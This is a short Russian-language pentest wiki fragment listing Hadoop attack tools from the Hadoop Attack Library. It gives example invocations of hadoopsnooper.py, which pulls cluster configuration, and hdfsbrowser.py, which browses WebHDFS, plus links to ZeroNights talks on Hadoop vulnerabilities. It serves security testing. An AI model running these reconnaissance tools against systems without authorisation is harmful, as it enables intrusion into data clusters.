= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Hadoop Attack Library ==&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library&lt;br /&gt;
&lt;br /&gt;
=== hadoopsnooper.py ===&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Скрипт для получения конфига hadoop&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== hdfsbrowser.py ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake&lt;br /&gt;
&lt;br /&gt;
Скрипт для рааботы с WebHDFS. В скрипте также можно указать порт, протокол&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
python hdfsbrowser.py 10.10.10.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Видео ==&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
== Презентации ==&lt;br /&gt;
&lt;br /&gt;
https://2015.zeronights.org/assets/files/03-Kaluzny.pdf&lt;br /&gt;
&lt;br /&gt;
https://2016.zeronights.ru/wp-content/uploads/2016/12/Wavestone-ZeroNights-2016-Hadoop-safari-Hunting-for-vulnerabilities-v1.0.pdf&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	</feed>